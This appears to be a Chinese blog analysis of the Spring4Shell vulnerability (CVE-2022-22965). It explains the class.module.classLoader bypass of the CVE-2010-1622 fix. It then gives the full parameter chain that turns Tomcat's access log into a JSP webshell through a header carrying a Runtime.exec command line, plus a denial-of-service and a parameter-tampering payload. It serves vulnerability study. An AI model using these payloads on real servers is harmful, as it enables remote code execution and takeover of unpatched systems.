美文网首页
CVE-2022-22965 Spring4Shell

CVE-2022-22965 Spring4Shell

作者: AxisX | 来源:发表于2022-04-06 19:15 被阅读0次

    之前每次应急结束就放下了,这次记录一下。提醒:请遵循国家漏洞管理办法,在漏洞公开前,不要发布相关信息。现在官方给出了通告:https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement,并给出了编号:CVE-2022-22965。本文只做技术分享,请勿用于攻击。

    影响JDK 9上的Spring MVC和Spring WebFlux应用程序,漏洞利用要求应用程序作为WAR部署在Tomcat上运行。夜里应急之前,网上流传着两个点:类似CVE-2010-1622、要求JDK9+。先看看CVE-2010-1622

    1. CVE-2010-1622

    Demo

    Spring支持在控制器接受用户参数的时候使用依赖注入的方式注入一个Java Pojo对象。假设我们的业务逻辑中有这样一个User。

    public class User {
    
        private String name;
        private int age;
    
        public User() {
        }
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    }
    

    Controller接收User参数,Spring会自动解析接收到的参数

    @Controller
    public class HelloController {
    
        @RequestMapping("/hello")
        @ResponseBody
        public String hello(User user) {
            return "hello" + user.getName() + "!";
        }
    }
    

    如果用户传入的是http://localhost:8080/hello?name=zhangsan,那么Spring会调用User.setName('zhangsan')对User类的name进行赋值。也就是攻击者可以直接调用Pojo对象的属性,setter、getter方法。所有Java对象的父类都为Object,Object拥有一个getClass方法用来获取对象的Class

    public final native Class<?> getClass();
    

    而Class对象又有getClassLoader,这个在Tomcat中会获取到org.apache.catalina.loader.ParallelWebappClassLoader(负责加载tomcat中每个应用的类包,每个应用一个),它保存了Tomcat的一些全局配置。CVE-2010-1622的攻击原理就是通过传入http://localhost:8080/hello?name=zhangsan&class.classLoader.xx=xxxx改变Tomcat配置的值来构造恶意操作,例如DoS、写Shell。

    2. 修复与绕过

    修复

    CachedIntrospectionResults,会对ClassclassLoader做判断,二者不能连用了。也就是上述的class.classLoader.xx被禁掉了,无法再进行利用

    CVE-2010-1622修复

    绕过

    Spring4Shell(CVE-2022-22965)就是绕过了这个限制,因为在Java9开始,Class对象中增加了getModule方法,获取的是Module类对象

    JDK9 Class类的变化

    Module

    Java的最小可执行文件是Class,jar则是Class文件的容器,可以打包许多Class。如果要运行一个jar应用,命令如下。app.jar是打包的应用,a.jar等是可能用到的第三方jar包。

    java -cp app.jar:a.jar:b.jar:c.jar org.com.sample.Main
    

    如果少引用了某个jar可能出现ClassNotFoundException的报错。因为jar作为容器,只打包Class,并不关联Class间的依赖。

    而JDK 9开始引入的Module则是主要解决“依赖”的问题。能让a.jar自动定位到依赖的b.jar。Module类的设计引入了getClassLoader方法,返回此模块的ClassLoader。这也是Spring4Shell绕过限制的原因,xx.classLoader被禁止了,但是在JDK9之后可以写成xx.module.classLoader,获取到ClassLoader后就可以利用之前的方式将shell写进日志。

    3. 漏洞原理的一些细节

    内省

    上述的User类是典型的JavaBean,其中的属性为私有属性private,类中的方法setter、getter主要用于访问私有字段。这种JavaBean主要用于数据传递,也称为值对象(Value Object)JDK的java.beans提供了一套API来访问属性的getter、setter,这种对JavaBean属性、方法的处理方法也称为内省(Introspector)
    内省相关的类主要包括PropertyDescriptorIntrospector,获取User类中的属性写法如下

    public class Test {
        public static void main(String[] args) throws IntrospectionException {
            BeanInfo info = Introspector.getBeanInfo(User.class); 
    //        BeanInfo info = Introspector.getBeanInfo(User.class,Object.class);
            PropertyDescriptor[] properties =
                    info.getPropertyDescriptors();
            for (PropertyDescriptor pd : properties) {
                System.out.println("Property: " + pd.getName());
            }
        }
    }
    
    // User.class
    Property: age
    Property: class
    Property: name
    
    // User.class, Object.class
    Property: age
    Property: name
    

    IntrospectorJavaBean封装成BeanInfo,通过getBeanInfo获取类信息,getPropertyDescriptors()获得属性的描述,也就获得了类中有哪些属性。getBeanInfo主要有两类方式,带stopClass的会跳过指定类

    public static BeanInfo getBeanInfo(Class<?> beanClass)
    public static BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)
    

    这里有个问题,为什么User.class获取Property时会输出class,因为所有的Class都认为其父类是Object,Object中存在getClass()方法,只要有getter或setter方法中的第一个,内省机制就会认为这是一个属性,所以存在class属性。

    调用过程

    BeanWrapperImpl调用栈 执行到CachedIntrospectionResults构造方法中 setPropertyValue

    Tomcat日志文件

    Tomcat日志分为:服务器⽇志(catalina.outcatalina.${date}.log)、 HTTP 访问⽇志(localhost_access_log.${date}.txt)、 Web 应⽤⽇志(localhost.${date}.log

    一般的请求都是通过HTTP发起,记录于访问日志。访问日志的配置位于conf/server.xml文件的<host>标签下,一般如下,maxDays是保留天数,prefix代表文件名,suffix代表文件后缀,pattern代表

    <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
                   prefix="localhost_access_log." suffix=".txt" maxDays="7"
                   pattern="%h %l %u %t &quot;%r&quot; %s %b" />
    

    另外还有常用的directory,用于设置日志文件放置的目录,默认是位于tomcat下的logs文件夹。

    关于pattern有两种方式,commoncombined,包括%a %A %b %h %u等,另外,还支持从cookie、请求头中传入等:

    %{xxx}i 请求头中传入
    %{xxx}o 响应头传入
    %{xxx}c 特定cookie传入
    %{xxx}r xxx是ServletRequest中的一个属性
    %{xxx}s xxx是HttpSession中的一个属性
    

    所以利用方式是找到AccessLogValve的利用链,将恶意代码写入到日志中,将日志后缀设为jsp,即可完成写shell的操作。

    写日志的调用链

    但是写完可能发现jsp的标签<% %>等会被url编码后写到日志中,导致jsp的功能不能正常执行。这个就需要利用pattern来解决,通过请求头或者特定cookie的方式传入恶意代码,来解决标签被url编码的问题。

    class.module.classLoader.resources.context.parent.pipeline.first.pattern=xxx&
    class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
    class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
    class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
    

    假设pattern传入的是%25%7b%63%6d%64%7d%69(编码前意为%{cmd}i),这样在上述代码执行后,发一次普通URL请求,请求头中加入如下代码,即可完成恶意代码的写入

    cmd: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
    

    这里还有个疑问,为什么会调用一次fileDateFormat?AccessLogValve的log方法每次执行时都要先调用rotate方法,判断当前的dataStampfilteDateFormatter创建的tsDate是否一致,如果不同就触发日志的切换。

    AccessLogValve.rotate

    4. 其他利用方式

    (1)delegate

    /hello?name=zhangsan&age=1&class.module.classLoader.delegate=false
    

    这个会造成没有访问过的页面在访问时出现ClassCastException,500报错。但是如果是访问过的页面,访问就不会出现500。

    (2)权限绕过

    private String names[];
    public User(){
        names = new String[]{"1"};
    }
    public String[] getNames() {
        return names;
    }
    

    names[]虽然是private的,但是由于构造方法中有一个赋值操作,只要攻击者提交如下操作,可以达到修改值的目的,从而实现权限绕过

    /hello?names[0]=xxxxx
    

    最后,补充一个与AccessLogValve相关的漏洞:
    https://therealcoiffeur.github.io/c11011

    关于这个漏洞,网上的参考文章:
    http://rui0.cn/archives/1158
    https://www.inbreak.net/archives/377

    相关文章

      网友评论

          本文标题:CVE-2022-22965 Spring4Shell

          本文链接:https://www.haomeiwen.com/subject/hbrrsrtx.html